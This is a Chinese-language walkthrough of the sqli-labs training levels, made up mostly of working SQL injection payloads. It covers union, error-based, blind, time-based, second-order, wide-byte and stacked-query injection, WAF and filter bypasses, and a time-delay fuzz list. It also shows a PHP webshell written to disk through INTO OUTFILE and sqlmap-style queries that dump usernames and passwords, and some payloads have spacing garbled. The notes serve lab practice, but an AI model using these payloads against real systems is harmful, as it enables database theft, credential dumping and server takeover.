2.将User-Agent删掉,自己构造一个 ,还是按照之前的思路,先输入一个单引号,然后放包,若页面显示报错,接下来的步骤就很简单了,制作一个能用的payload。比如: User-Agent: 666’ or updatexml (1,concat (0x7e,database()),0) or ‘
3.持续构造payload 查看不同数据
(Cookie) 一般步骤 :
1.抓包,将包发送到repeater模块
2.例如我们现在账号后面加一个逗号,放包,若是页面显示错误,存在sql注入
3.构造payload ,将cookie 构造成 例如 Cookie: ant[uname]=admin’ and updatexml (1, concat (Ox7e, database()),0) or ‘;
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下
?id=-1' union select 1,2,3-- - //查显示位 ?id=-1'unionselect1,(select group_concat(schema_name) from information_schema.schemata),3-- - //查全库
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- - //查表 ?id=-1'unionselect1,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),3-- - //查字段
?id=-1' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users),3-- - //查数据
2关:数字型注入 显错注入
payload 参考2关
**3关: ‘) 闭合 显错注入 **
payload 参考2关
4关:”) 闭合 显错注入
payload 参考2关
5关:’ 闭合 报错注入
1 2 3 4 5 6 7 8 9
?id=-1' union select updatexml(1,concat('.',(select database())),1)-- -//查当前数据库 ?id=-1'unionselect1,2,updatexml(1,concat('.',(select schema_name from information_schema.schemata limit 0,1)),1)-- - //查全库(使用limit 控制)
?id=-1' union select 1,2,updatexml(1,concat('.',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)-- - //查表 ?id=-1'unionselect1,2,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')) ,1)-- - //查字段
?id=-1' union select 1,2,updatexml(1,concat('.',(select concat(id,0x7e,username,0x3A,password,0x7e)from users limit 0,1)),1)-- -//查数据
6关:” 闭合 报错注入
payload 参考5关
7关: “)) 闭合 文件写入
上传木马,使用蚁剑连接
1 2 3 4 5 6 7
?id=1')) union select 1,2,'<?php eval($_POST[cmd]);>' into outfile "D:\\phpstudy_pro\\999.php" -- - bug:因为?id=1,所以上传的文件中会显示第1个用户的账号和密码。若?id=2,则上传的文件中会显示第2个用户的账号和密码。 ?id=-1')) union select1,2,'<?php eval($_POST[cmd]);>'into outfile "D:\\phpstudy_pro\\999.php" -- - 则不会出现这种情况
8关:’ 闭合 布尔盲注
9关:’ 闭合 时间盲注
10关:” 闭合 时间盲注
11关:’ 闭合 显错注入
1 2 3 4 5 6 7 8 9
orderby 猜字段payload :uname=admin' order by 2#&passwd=admin&submit=Submit 显示位:uname=-admin'unionselect1,2##&passwd=1&submit=Submit 查数据库:uname=-admin' union select 1,(select group_concat(schema_name) from information_schema.schemata)##&passwd=1&submit=Submit 或uname=-admin'unionselect1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
查表:uname=-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')##&passwd=1&submit=Submit 查字段:uname=-admin'unionselect1,(select group_concat(column_name) from information_schema.columns where table_schema='security'andtable_name='users')##&passwd=1&submit Submit
字段内容:uname=-admin' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e))from users)##&passwd=1&submit=Submit
源码片段: $reg = "/#/"; $reg1 = "/--/"; $replace = ""; 将注释符过滤为空不能像以前那样 ?id=-1' union select 1,(select database()),3-- - 此处的sql语句为 SELECT * FROM users WHERE id='-1' union select 1,(select database()),3-- -'limit 0,1(-- -后面的语句就会被忽略)
解决办法1:?id=-1' union select 1,(select database()),'3 此处的sql语句为 SELECT*FROM users WHERE id='-1'unionselect1,(select database()),'3' limit 0,1(这样整个句子就通了,只要通了就能运行)
解决办法2:?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = ' 此处的sql语句为 SELECT*FROM users WHERE id='-1'unionselect1,group_concat(username),group_concat(password) from users where1or'1'='' limit 0,1 语句通顺就是可以运行的
24关:二次注入
数据进库是没有执行,在出库时才被执行
1 2 3 4
1.先注册一个admin' #的账号。 2.登录admin'#,修改该账号的密码,此时修改的就是admin的密码。Sql语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'AND password=' 也就是执行了UPDATE users SET passwd='New_Pass'WHERE username ='admin' 成功的话页面会提示Password successfully updated
25关:and 和 or 被过滤 显错注入
尝试大小写绕过失败
过滤方法:双写
还可以用对应符号代替 or = || ,and = &&
1 2 3 4 5 6 7 8
?id=1' oorrder by 4-- - //查列数 ?id=-1'unionselect1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'-- - //查数据库
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'-- - //查字段数 ?id=-1'unionselect1,2,group_concat(id,0x7e,username,0x3A,passwoorrd,0x7e) from security.users-- - //字段内容
?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1//查表
?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1//查字段
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1//查数据 调整id=n
?id=1' || updatexml(1, concat(0x7e, (SElect (group_concat(table_name)) FROM (information_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1//查表
?id=1'||updatexml(1,concat(1,(SElect(group_concat(column_name)) FROM (information_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1//查字段
?id=-1' || updatexml(1,concat(0x0a,(SElect(group_concat(concat_ws(0x3a,username,password))) FROM (security.users) WHERE (id = 4) )),1) || '1'='1//查数据 调整id=n
//WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match= preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } whitelist() 方法
该方法使用正则表达式判断传入的参数是否是数字,若不是数字则跳转页面。由于注入 2 个同名参数时,java_implimentation() 方法返回的参数是第一个 id 参数,此时这个过滤就被我们绕过了
?id=1%df' //宽字节注入 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\'' LIMIT 0,1'at line 1 这种操作是由于 GBK 国标码是双字节表示一个汉字,因此导致了反斜杠和其他的字符共同表示为一个汉字。这可以让数据库的 SQL 查询了正确的参数(汉字),从而可以使用 UNION 语句进行注入
开始注入
1 2 3 4 5 6 7 8 9 10 11 12 13
?id=1%df' order by 3-- - //查字段数 ?id=-1%df'unionselect1,2,3-- - //查显示位
?id=1';CREATE TABLE a LIKE users;--+ //创建一张和users 一样的表 ?id=1';INSERTINTO a SELECT*FROM users;--+ //将user里的数据插入a表中 ?id=1';DELETE FROM a;--+//删除a表中的数据 ?id=1';DROPTABLE a;--+//删除a表
可以看到源码使用了 mysqli_multi_query() 函数,该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,该函数只执行一条 MySQL 查询
?sort=1and updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema ='security')),2)-- - //查表
?sort=1and updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns WHERE table_schema ='security' table_name ='emails')),2)-- - //查字段
?sort=1and updatexml(1,concat('~',(select concat_ws(':',id,email_id) from (select id,email_id from emails)aaa limit 0,1)),1)-- - //查数据,使用limit 控制输出
!Every derived table must have its own alias!(当不给予表单名字的时候会报错) 所以我们在要查询的数据末尾设置一个名字。这里我使用的是 “aaa”
**47关:显示表单 ‘ 闭合 报错注入 **
参考46关
**48关:数字型注入 时间盲注 可尝试 DNS_log注入 **
参考其他关卡的时间盲注
49关:’ 闭合 时间盲注
同48关,参考其他关卡的时间盲注
**50关:数字型注入 报错注入 **
参考46关
51关:’ 闭合 报错注入
参考46关
52关:数字型注入 时间盲注
参考其他关卡的时间盲注
53关:’ 闭合 时间盲注
参考其他关卡的时间盲注
54 ~ 65关 要求在限定步数内完成注入,围绕 challenge 数据库
**54关:显错注入 ‘ 闭合 **
1 2 3 4 5 6 7
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- - //查表 ?id=-1'unionselect1,group_concat(column_name),3from information_schema.columns where table_name='表名'-- - //查字段
?id=-1' union select 1,group_concat(secret_字段),group_concat(sessid) from challenges.表名-- - //查数据 随后将 secret_字段 里的内容放入 Submit Secret Key 中即算过关
55关:)闭合 显错注入
同54关
56关:’) 闭合 显错注入
同54关
57关:” 闭合 显错注入
同54关
58关:’ 闭合 报错注入
1 2 3 4 5 6
?id=-1' union select 1,updatexml(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='challenges')) ,1),3-- - //查表 ?id=-1'unionselect1,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='challenges'and table_name='9qx3233vht')) ,1),3-- -//查字段
?id=-1' union select 1,updatexml(1, concat(0x7e, (select group_concat(secret_字段) from 表名)) ,1),3-- - //查数据
\ ' " %df' 宽字节 %df" 宽字节 and 1=1 and 1=2 ' and '1'='1 ' and '1'='2 " and "1"="1 " and "1"="2 ) and (1=1 ) and (1=2 ') and ('1'='1 ') and ('1'='2 %' and 1=1 and '%'=' %' and 1=2 and '%'='x %') and 1=1 and ('%'=' %') and 1=2 and ('%'='x OR 1=1 OR 1=2 ' OR 1=1-- - ' OR 1=2-- - ) OR 1=1-- - ) OR 1=2-- - ') OR 1=1-- - ') OR 1=2-- - " OR "1"="1 " OR "1"="2 ' OR '1'='1 ' OR '1'='2 ) OR (1=1 ) OR (1=2 ') OR ('1'='1 ') OR ('1'='2
'%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b'a -IF((1=1),sleep(4),(SELECT1UNIONSELECT2))-- - ';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- - ;SELECT sleep(4) );SELECT sleep(4)-- - ;SELECT sleep(4)-- - ;(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- - 'AND SLEEP(4)%23 AND sleep(4) ' AND sleep(4) AND '1'='1 ') AND sleep(4) AND ('1'='1 ) AND sleep(4) AND (1=1 " AND sleep(4) AND "1"=" ') and (select(0)from(select(sleep(4)))x)-- - and (select(0)from(select(sleep(4)))x) and (select(0)from(select(sleep(4)))x) and 1=1 'and (select(0)from(select(sleep(4)))x) and'1'='1 " and (select(0)from(select(sleep(4)))x) and "1"="1 ) and (select(0)from(select(sleep(4)))x) and (1=1 ') and (select(0)from(select(sleep(4)))x) and ('1'='1 rlike (select(0)from(select(sleep(4)))x) and 1=1 ' rlike (select(0)from(select(sleep(4)))x) and'1'='1 ) rlike (select(0)from(select(sleep(4)))x) and (1=1 ') rlike (select(0)from(select(sleep(4)))x) and ('1'='1 ;waitfor delay '0:0:4' -- - ';waitfor delay '0:0:4'-- - );waitfor delay '0:0:4'-- - ');waitfor delay '0:0:4' -- - if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/ (SELECT * FROM(SELECT(sleep(4)))lWuP)
1.判断当前数据表中有几列: ?id=1' order by 数值 --+ 2.查看显示位在第几列(这里假设共有3列): ?id=-1'unionselect1,2,3--+
3.显示当前数据库(假设显示位在第3 列): ?id=-1' union select 1,2,database() --+ 4.查询当前数据库的所有表: ?id=-1'unionselect1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查询所有数据库 : ?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+ 6.查询某个数据库中的表 (此例为 test 数据库): ?id=-1'unionselect1,2,(select group_concat(table_name) from information_schema.tables where table_schema='test') --+
7.查询某个表中的所有字段 (此例为 test数据库中的users 表): ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘test'and table_name='users') --+
8.查询某个表中的字段内容(此例为 test数据库中的users 表): ?id=-1‘ unionselect1,2,(select group_concat(username,0x3a,0x3a,password) from test.users) --+
1' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,0x57546868445661497a474b574369506768417a597064667a614557616f6a754870464c64544e464a,0x7162706a71),NULL-- - 1'UNIONALLSELECT CONCAT(0x717a6a6a71,0x6b4158546d48415a41496e48596448615867594e49525374436954664d5574505871726d51455279,0x7162706a71),NULL,NULL-- -
1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6a71,0x464843574f4973414372614d414a73595970426c5177534767687050454a4a5647795a5375445a61,0x7162706a71)-- - 1'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,0x57525a45435572416663,0x7162706a71),NULL-- -
1' UNION ALL SELECT CONCAT(0x717a6a6a71,0x5a70654458455a6e7344,0x7162706a71),NULL,NULL-- - 1'UNIONALLSELECTNULL,NULL,CONCAT(0x717a6a6a71,0x55626b6e586165436468,0x7162706a71)-- -
-4234' UNION ALL SELECT CONCAT(0x717a6a6a71,0x766455794f71597656557757576c4c6d6447656975464946565576714c47486d5852766154455359,0x7162706a71),NULL,NULL-- - -9821'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,0x726557794d7a476c4d5975697274766d704845684c646f68746a6e674e6a66436a77774a4e5a4455,0x7162706a71),NULL-- -
-6633' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (2947= 2947) THEN 1 ELSE 0 END),0x7162706a71),NULL-- - -5741'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,(CASEWHEN (VERSION() LIKE0x254d61726961444225) THEN1ELSE0END),0x7162706a71),NULL-- -
-9889' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END),0x7162706a71),NULL-- - -4073'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,(CASEWHEN (@@VERSION_COMMENT LIKE0x256472697a7a6c6525) THEN1ELSE0END),0x7162706a71),NULL-- -
-4680' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ELSE 0 END),0x7162706a71),NULL-- - -9973'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,(CASEWHEN (AURORA_VERSION() LIKE0x25) THEN1ELSE0END),0x7162706a71),NULL-- -
-3008' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x7162706a71),NULL-- - -5854'UNIONALLSELECTNULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,schema_name)),0x7162706a71),NULLFROM INFORMATION_SCHEMA.SCHEMATA-- -
9.查表名
1
-4170' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,table_name)),0x7162706a71),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479)-- -
10.查字段
1
-8178' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,column_name,column_type)),0x7162706a71),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479-- -
11.字段内容数据脱库
1
-3449' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,id,password,username)),0x7162706a71),NULL FROM security.users-- -